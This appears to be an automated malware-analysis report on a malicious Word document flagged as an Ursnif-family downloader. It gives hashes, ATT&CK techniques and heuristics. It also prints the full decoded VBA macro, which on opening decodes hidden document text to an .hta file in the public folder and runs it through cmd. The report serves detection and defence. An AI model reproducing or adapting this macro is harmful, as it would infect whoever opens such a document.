Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a4305fee22041687…

MALICIOUS

Office (OOXML)

50.5 KB Created: 2021-06-28 10:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: 2bc490768c5bfaff77e1d99c29df08a1 SHA-1: f25c79c3d68aaa95dcb23a70558435fc31ed931f SHA-256: a4305fee220416879ecfad1d7d9aaf4236c6dbc491835de3d6047bbde8ff8bae
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with a Document_Open subroutine. This macro calls the Shell() function to execute 'cmd /c', which is likely used to download and save a second-stage payload. The ClamAV detection name 'Doc.Downloader.Ursnif06210-9875010-0' suggests a downloader family, but specific attribution is not possible from the provided evidence.

Heuristics 7

  • ClamAV: Doc.Downloader.Ursnif06210-9875010-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Ursnif06210-9875010-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1403 bytes
SHA-256: 51aa4651fdd6979ef04aabe10e016ae9877f7b9d5fcc88d148daf1611346de9c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                        Sub Document_Open()
                                main
                        End Sub

Attribute VB_Name = "booleanDatabase"
Function nameSin(WStorageIterator)
Shell rightFunction("cmd /c ")
End Function
Function rightFunction(WStorageIterator, Optional objLen = "c:\\users\\public\\doubleBorderInt.h", Optional ptrInitOption = "t", Optional exceptionHW = "a")
rightFunction = WStorageIterator & objLen & "" & ptrInitOption & exceptionHW
End Function
Function exceptionButtonException(arr As Variant)
Dim out As String
out = vbNullChar
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 101)
Next
exceptionButtonException = out
End Function

Attribute VB_Name = "altPtr"
Sub main()
lengthCounterLibs
buttVbL = nameSin("")
End Sub

Attribute VB_Name = "titleMem"
Sub lengthCounterLibs()
Open rightFunction("") For Output As #1
Print #1, exceptionButtonException(afterCopy)
Close #1
End Sub
Function vbaSet(setRequestByte)
vbaSet = Split(setRequestByte, "#")
End Function
Function afterCopy()
afterCopy = vbaSet(ActiveDocument.Range.Text)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 9db97e7c5590068048307f00f6a5fb362abd08eccd7c8c6ad1d3f05ffe776e49

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